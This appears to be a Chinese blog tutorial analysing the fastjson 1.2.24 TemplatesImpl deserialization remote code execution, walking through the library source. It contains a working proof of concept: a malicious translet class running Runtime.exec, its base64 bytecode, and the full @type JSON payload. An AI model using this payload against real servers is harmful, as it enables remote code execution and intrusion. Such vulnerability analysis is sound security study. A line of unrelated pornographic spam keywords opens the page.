欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

java安全fastjson1.2.24反序列化TemplatesImpl分析

 更新時(shí)間:2022年07月08日 15:09:27   作者:songly_  
這篇文章主要介紹了java安全fastjson1.2.24反序列化TemplatesImpl分析,fastjson是alibaba開源的一個(gè)用于處理json數(shù)據(jù)格式的解析庫,它支持將java對(duì)象解析成json字符串格式的數(shù)據(jù),也可以將json字符串還原成java對(duì)象

前言

漏洞環(huán)境:

fastjson1.2.24

jdk1.7.80

新建一個(gè)maven項(xiàng)目在pom.xml文件中引入fastjson的依賴:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

fastjson是alibaba開源的一個(gè)用于處理json數(shù)據(jù)格式的解析庫,它支持將java對(duì)象解析成json字符串格式的數(shù)據(jù),也可以將json字符串還原成java對(duì)象。不難看出,java對(duì)象轉(zhuǎn)換成json數(shù)據(jù)就是序列化操作,而將json數(shù)據(jù)還原成java對(duì)象就是反序列化過程。

1. fastjson序列化

現(xiàn)在我們來看一下fastjson序列化過程,定義一個(gè)pojo類:

public class Student {
 
    private String name;
    private int age;
 
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }
}

示例程序:

public class FastjsonTest1 {
    public static void main(String[] args) {
        Student student = new Student("zhangsan" , 3);
        String jsonString = JSON.toJSONString(student);
        System.out.println(jsonString);
    }
}

執(zhí)行結(jié)果如下:

 method: Student(String name , int age)

 method: getAge()

 method: getName()

{"age":3,"name":"zhangsan"}

fastjson調(diào)用toJSONString方法將Student對(duì)象轉(zhuǎn)換成json字符串?dāng)?shù)據(jù)的過程中會(huì)調(diào)用對(duì)象的getter方法。

另外toJSONString方法在進(jìn)行序列化時(shí)還可以指定一個(gè)可選的SerializerFeature.WriteClassName參數(shù),指定了該參數(shù)后,在序列化時(shí)json數(shù)據(jù)中會(huì)寫入一個(gè)@type選項(xiàng),

如下所示:

 json數(shù)據(jù)中的@type選項(xiàng)用于指定反序列化的類,也就是說所,當(dāng)這段json數(shù)據(jù)被反序列化時(shí),會(huì)按照@type選項(xiàng)中指定的類全名反序列化成java對(duì)象。

2. fastjson反序列化

fastjson提供了兩個(gè)反序列化函數(shù):parseObject和parse,我們通過示例程序來看一下fastjson的反序列化過程

方式一調(diào)用了parseObject方法將json數(shù)據(jù)反序列化成java對(duì)象,并且在反序列化過程中會(huì)調(diào)用對(duì)象的setter和getter方法。

方式二調(diào)用了parseObject方法進(jìn)行反序列化,并且指定了反序列化對(duì)象Student類,parseObject方法會(huì)將json數(shù)據(jù)反序列化成Student對(duì)象,并且在反序列化過程中調(diào)用了Student對(duì)象的setter方法。

方式三調(diào)用了parse方法將json數(shù)據(jù)反序列化成java對(duì)象,并且在反序列化時(shí)調(diào)用了對(duì)象的setter方法。

關(guān)于Feature.SupportNonPublicField參數(shù):

以上這三種方式在進(jìn)行反序列化時(shí)都會(huì)調(diào)用對(duì)象的構(gòu)造方法創(chuàng)建對(duì)象,并且還會(huì)調(diào)用對(duì)象的setter方法,如果私有屬性沒有提供setter方法時(shí),那么還會(huì)正確被反序列化成功嗎?為了驗(yàn)證這個(gè)猜想,現(xiàn)在我們把Student對(duì)象的私有屬性name的setter方法去掉。

從程序執(zhí)行結(jié)果來看,私有屬性name并沒有被正確反序列化,也就是說fastjson默認(rèn)情況下不會(huì)對(duì)私有屬性進(jìn)行反序列化。

如果需要將私有屬性反序列化時(shí),就可以調(diào)用parseObject方法指定Feature.SupportNonPublicField參數(shù),

如下所示:

 方式一反序列化時(shí)沒有指定Feature.SupportNonPublicField參數(shù),私有屬性name沒有反序列化時(shí)沒有值,方式二和方式三指定了Feature.SupportNonPublicField參數(shù)后,私有屬性name可以正確被反序列化。

3. fastjson反序列化漏洞原理

在上一小節(jié)中我們知道fastjson在進(jìn)行反序列化時(shí)會(huì)調(diào)用目標(biāo)對(duì)象的構(gòu)造,setter,getter等方法,如果這些方法內(nèi)部進(jìn)行了一些危險(xiǎn)的操作時(shí),那么fastjson在進(jìn)行反序列化時(shí)就有可能會(huì)觸發(fā)漏洞。

我們通過一個(gè)簡單的案例來說明fastjson反序列化漏洞原理

package com.fastjson;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
 
import java.io.IOException;
 
/**
 * @auther songly_
 * @data 2021/8/23 15:27
 */
 
//定義一個(gè)惡意類TestTempletaHello
class TestTempletaHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
public class FastjsonTest1 {
    public static void main(String[] args) {
        //創(chuàng)建惡意類的實(shí)例并轉(zhuǎn)換成json字符串
        TestTempletaHello testTempletaHello = new TestTempletaHello();
        String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        //將json字符串轉(zhuǎn)換成對(duì)象
        Object obj = JSON.parse(jsonString);
        System.out.println(obj);
    }
}

在這個(gè)示例程序中先是構(gòu)造了一個(gè)惡意類,然后調(diào)用toJSONString方法序列化對(duì)象寫入@type,將@type指定為一個(gè)惡意的類TestTempletaHello的類全名,當(dāng)調(diào)用parse方法對(duì)TestTempletaHello類進(jìn)行反序列化時(shí),會(huì)調(diào)用惡意類的構(gòu)造方法創(chuàng)建實(shí)例對(duì)象,因此惡意類TestTempletaHello中的靜態(tài)代碼塊中就會(huì)被執(zhí)行。

執(zhí)行結(jié)果如下:

4. fastjson1.2.24漏洞復(fù)現(xiàn)

在實(shí)際場(chǎng)景中很多類沒有這么明顯的可以產(chǎn)生漏洞的代碼,往往需要攻擊者自己想方設(shè)法通過一些操作(例如反射,類加載,一些危險(xiǎn)的函數(shù))來構(gòu)造一個(gè)漏洞利用環(huán)境。

在學(xué)習(xí)CC2利用鏈的時(shí)候我們分析了一個(gè)基于TemplatesImpl類的利用鏈,該類會(huì)把_bytecodes屬性的字節(jié)碼內(nèi)容加載并實(shí)例化,關(guān)于TemplatesImpl類的利用鏈的具體介紹可參考CC2利用鏈。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl類來構(gòu)造利用鏈,思路如下:

  • 1. 構(gòu)造一個(gè)惡意類TempletaPoc繼承AbstractTranslet類,通過javassist字節(jié)碼編程將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼并進(jìn)行base64編碼。
  • 2. 然后構(gòu)造TemplatesImpl類的json數(shù)據(jù),將TempletaPoc類的字節(jié)碼設(shè)置到_bytecodes屬性中,當(dāng)json數(shù)據(jù)在還原成TemplatesImpl對(duì)象時(shí)會(huì)加載_bytecodes屬性中的TempletaPoc類并實(shí)例化,從而觸發(fā)漏洞。

定義一個(gè)惡意類TempletaPoc繼承AbstractTranslet類,通過javassist將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,然后進(jìn)行base64編碼

package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
	//構(gòu)造RCE代碼
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

最終的poc代碼:

package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
 import java.io.IOException;
/**
 * @auther songly_
 */
public class FastjsonTest1 {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,base64編碼
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //構(gòu)造TemplatesImpl的json數(shù)據(jù),并將惡意類注入到j(luò)son數(shù)據(jù)中
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "'_name':'TempletaPoc'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
        //反序列化
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

這里解釋一下payload的構(gòu)造:

  • @type:當(dāng)fastjson根據(jù)json數(shù)據(jù)對(duì)TemplatesImpl類進(jìn)行反序列化時(shí),會(huì)調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈加載_bytecodes屬性中的TempletaPoc類字節(jié)碼并實(shí)例化,執(zhí)行RCE代碼。
  • _bytecodes:前面已經(jīng)介紹過了,主要是承載惡意類TempletaPoc的字節(jié)碼。
  • _name:關(guān)于_name屬性,在調(diào)用TemplatesImpl利用鏈的過程中,會(huì)對(duì)_name進(jìn)行不為null的校驗(yàn),因此_name的值不能為null(具體可參考CC2利用鏈)
  • _tfactory:在調(diào)用TemplatesImpl利用鏈時(shí),defineTransletClasses方法內(nèi)部會(huì)通過_tfactory屬性調(diào)用一個(gè)getExternalExtensionsMap方法,如果_tfactory屬性為null則會(huì)拋出異常,無法根據(jù)_bytecodes屬性的內(nèi)容加載并實(shí)例化惡意類
  • outputProperties:json數(shù)據(jù)在反序列化時(shí)會(huì)調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈,可以理解為outputProperties屬性的作用就是為了調(diào)用getOutputProperties方法。

漏洞利用成功,接下來我們分析一下parseObject方法是如何觸發(fā)漏洞的

5. fastjson1.2.24漏洞分析

參數(shù)features是一個(gè)可變參數(shù),parseObject方法底層實(shí)際上是調(diào)用了parse方法進(jìn)行反序列化,并且將反序列化的Object對(duì)象轉(zhuǎn)成了JSONObject

    public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

parse方法會(huì)循環(huán)獲取可變參數(shù)features中的值,然后繼續(xù)調(diào)用parse方法

	public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }

分析parse方法:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
		//將json數(shù)據(jù)放到了一個(gè)DefaultJSONParser對(duì)象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
		//然后調(diào)用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }

parse方法創(chuàng)建了一個(gè)JSONObject對(duì)象存放解析后的json數(shù)據(jù),而parseObject方法作用就是把json數(shù)據(jù)的內(nèi)容反序列化并放到JSONObject對(duì)象中,JSONObject對(duì)象內(nèi)部實(shí)際上是用了一個(gè)HashMap來存儲(chǔ)json。

	public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
			//省略部分代碼......
            case LBRACE:
				//創(chuàng)建一個(gè)JSONObject對(duì)象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
				//parseObject方法
                return parseObject(object, fieldName);
			//省略部分代碼......
		}
	}

繼續(xù)跟進(jìn)parseObject方法;

	public final Object parseObject(final Map object, Object fieldName) {
		//省略部分代碼......
		//從json中提取@type
		key = lexer.scanSymbol(symbolTable, '"');
		//省略部分代碼......
		
		//校驗(yàn)@type
		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
			//提取type對(duì)應(yīng)的值
			String typeName = lexer.scanSymbol(symbolTable, '"');
			//然后根據(jù)typeName進(jìn)行類加載
			Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
			if (clazz == null) {
				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
				continue;
			}
		}
		//省略部分代碼......
		
		//然后將class對(duì)象封裝成ObjectDeserializer對(duì)象
		ObjectDeserializer deserializer = config.getDeserializer(clazz);
		//然后調(diào)用deserialze方法進(jìn)行反序列化
		return deserializer.deserialze(this, clazz, fieldName);
	}

parseObject方法主要是從json數(shù)據(jù)中提取@type并進(jìn)行校驗(yàn)是否開啟了autoType功能,接著會(huì)調(diào)用loadClass方法加載@type指定的TemplatesImpl類,然后將TemplatesImpl類的class對(duì)象封裝到ObjectDeserializer 中,然后調(diào)用deserialze方法進(jìn)行反序列化。

我們來看一下deserializer的內(nèi)容,如下圖所示:

 TemplatesImpl類的每個(gè)成員屬性封裝到deserializer的fieldInfo中了。

然后調(diào)用了deserialze方法,該方法中的參數(shù)如下所示:

deserialze方法內(nèi)部的代碼邏輯實(shí)在是太復(fù)雜了,內(nèi)部有大量的校驗(yàn)和if判斷,這里只是簡單的分析了大概的邏輯,這些已經(jīng)足夠我們理解TemplatesImpl的利用鏈了,后期深入分析fastjson的防御機(jī)制,以及在構(gòu)造payload如何繞過校驗(yàn)機(jī)制時(shí),再深入分析deserialze方法分析fastjson的解析過程做了哪些事情,目前我們先把TemplatesImpl的利用鏈搞清楚再說。

	    protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
		
			     //省略部分代碼......
			
			     //調(diào)用createInstance方法實(shí)例化
			    if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
			
			//省略部分代碼......
			
			//調(diào)用parseField方法解析json
			boolean match = parseField(parser, key, object, type, fieldValues);
		}

 我們只分析deserialze方法中的部分核心代碼,deserialze方法內(nèi)部主要是調(diào)用了createInstance方法返回一個(gè)object類型的對(duì)象(也就是TemplatesImpl對(duì)象),然后調(diào)用了parseField方法解析屬性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
		//省略部分代碼......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
		//SupportNonPublicField選項(xiàng)
        final int mask = Feature.SupportNonPublicField.mask;
		
		//if判斷會(huì)校驗(yàn)SupportNonPublicField選項(xiàng)
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //獲取TemplatesImpl對(duì)象的屬性信息
        }
 
		//省略部分代碼......
 
		//調(diào)用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }

parseField方法內(nèi)部會(huì)對(duì)參數(shù)features中的SupportNonPublicField選項(xiàng)進(jìn)行校驗(yàn),這個(gè)if判斷主要是獲取TemplatesImpl對(duì)象的所有非final或static的屬性,如果fastjson調(diào)用parseObject方法時(shí)沒有設(shè)置SupportNonPublicField選項(xiàng)的話,就不會(huì)進(jìn)入這個(gè)if判斷,那么fastjson在進(jìn)行反序列化時(shí)就不會(huì)觸發(fā)漏洞。

校驗(yàn)完SupportNonPublicField選項(xiàng)后,調(diào)用parseField方法解析TemplatesImpl對(duì)象的屬性字段,先來看一下parseField方法的參數(shù)

parseField方法主要會(huì)做以下事情,調(diào)用fieldValueDeserilizer的deserialze方法將json數(shù)據(jù)中每個(gè)屬性的值都提取出來放到value 中,然后調(diào)用setValue方法將value的值設(shè)置給object。

    @Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
		
		//省略部分代碼......
		
		//解析json中的數(shù)據(jù)(將每個(gè)屬性的值還原)
		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
		 
		 //省略部分代碼......
		 
		 setValue(object, value);
   }

可以看到deserialze方法將json數(shù)據(jù)中的_bytecodes值提取出來進(jìn)行base64解碼存放到value中,接著調(diào)用setValue方法將value設(shè)置給object(即TemplatesImpl對(duì)象的_bytecodes)。

繼續(xù)跟進(jìn)fieldValueDeserilizer的deserialze方法

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
		//省略部分代碼......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
			//調(diào)用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
		
		//省略部分代碼......
		
	}

deserialze方法內(nèi)部調(diào)用了bytesValue方法。

bytesValue方法內(nèi)部調(diào)用了確實(shí)對(duì)json數(shù)據(jù)中的_bytecodes值進(jìn)行了base64解碼

前面我們說過json數(shù)據(jù)中的outputProperties的作用是觸發(fā)TemplatesImpl利用鏈的

觸發(fā)漏洞的關(guān)鍵就在于當(dāng)fastjson調(diào)用setValue方法將json數(shù)據(jù)中的outputProperties的值設(shè)置給TemplatesImpl對(duì)象時(shí)會(huì)觸發(fā)漏洞,調(diào)用TemplatesImpl類的getOutputProperties方法。

繼續(xù)分析setValue方法是如何觸發(fā)漏洞的

public void setValue(Object object, Object value){
		//首先校驗(yàn)value是否為null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
			//根據(jù)outputProperties屬性獲取對(duì)應(yīng)的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }

                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
						//反射調(diào)用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
	
	//省略部分代碼......
	
}

setValue方法對(duì)value進(jìn)行了不為null的校驗(yàn),然后解析_outputProperties(json中的_outputProperties被封裝到了fieldInfo中)。

fastjson會(huì)將屬性的相關(guān)信息封裝到fieldInfo中,具體信息如下:

然后判斷method中的getOutputProperties的返回值是否為Map,為什么是通過Map接口的class對(duì)象來判斷?因?yàn)镻roperties實(shí)現(xiàn)了Map接口,因此這個(gè)判斷滿足條件會(huì)通過反射調(diào)用TemplatesImpl對(duì)象的getOutputProperties方法。

關(guān)于getOutputProperties方法的調(diào)用

不知道大家有沒有思考過fastjson是如何獲取到getOutputProperties方法的?原因在于parseField方法內(nèi)部調(diào)用了JavaBeanDeserializer類的smartMatch方法

smartMatch方法會(huì)將json中的_outputProperties中的下劃線去掉,替換成outputProperties并封裝到fieldInfo中,我們知道fastjson在反序列化過程中會(huì)調(diào)用屬性的getter方法,因此這里還會(huì)將outputProperties屬性的getter方法也封裝到fieldInfo中的method當(dāng)中。

    public FieldDeserializer smartMatch(String key) {
 
 
		//省略部分代碼......
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
				//是否有"_"特殊字符串
                if (ch == '_') {
                    snakeOrkebab = true;
					//把_字符串替換為空
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == '-') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }
 
      //省略部分代碼......
	  
    }

我們貌似... 大概知道了getOutputProperties方法是如何獲取的,繼續(xù)思考一下:fastjson在反序列化過程中具體是如何調(diào)用屬性的getter方法的?

答案是JavaBeanInfo類中有一個(gè)build方法,當(dāng)通過@type獲取TemplatesImpl類的calss對(duì)象后,會(huì)通過反射獲取該類的class對(duì)象的所有方法并封裝到Method數(shù)組中。然后通過for循環(huán)遍歷Method獲取getter方法,并將outputProperties屬性和getter方法(getOutputProperties方法)一起封裝到FieldInfo,從代碼中確實(shí)可以看到add方法會(huì)將FieldInfo放到了一個(gè)fieldList中,然后將fieldList封裝到JavaBeanInfo

getter方法的查找方式需要滿足以下幾個(gè)條件:

方法名長度不小于4

必須是非靜態(tài)方法

必須get字符串開頭,并且第四個(gè)字符為大寫字母

方法中不能有參數(shù)

返回值繼承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

這樣一來自然就獲取到了getOutputProperties( )方法,當(dāng)setValue方法從FieldInfo獲取到outputProperties屬性和getOutputProperties方法并反射調(diào)用getOutputProperties方法就會(huì)觸發(fā)TemplatesImpl利用鏈。

getOutputProperties方法內(nèi)部調(diào)用了newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
			//調(diào)用newTransformer方法
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer方法內(nèi)部調(diào)用了getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
		//調(diào)用了getTransletInstance方法
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance方法內(nèi)部會(huì)對(duì)_name和_class進(jìn)行不為null校驗(yàn), 我們構(gòu)造的payload沒有_class,因此這里_class為null會(huì)調(diào)用defineTransletClasses方法加載_bytecodes屬性的類字節(jié)碼(加載TempletaPoc類)。

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
			//調(diào)用defineTransletClasses方法
            if (_class == null) defineTransletClasses();
		
		//根據(jù)_class實(shí)例化類
		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    }

跟進(jìn)defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {
		//校驗(yàn)_bytecodes
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
					//通過_tfactory調(diào)用getExternalExtensionsMap方法
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
				//加載_bytecodes中的類(TempletaPoc)
                _class[i] = loader.defineClass(_bytecodes[i]);
				//獲取TempletaPoc的父類
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
				//是否繼承了AbstractTranslet類
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses方法內(nèi)部會(huì)加載_bytecodes中的類字節(jié)碼數(shù)據(jù)(加載TempletaPoc類),并且會(huì)校驗(yàn)TempletaPoc類是否繼承了AbstractTranslet類。然后返回到getTransletInstance方法中,調(diào)用newInstance方法實(shí)例化TempletaPoc類執(zhí)行RCE代碼。

到此這篇關(guān)于java安全fastjson1.2.24反序列化TemplatesImpl分析的文章就介紹到這了,更多相關(guān)13-javafastjson1.2.24反序列化內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP)

    如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP)

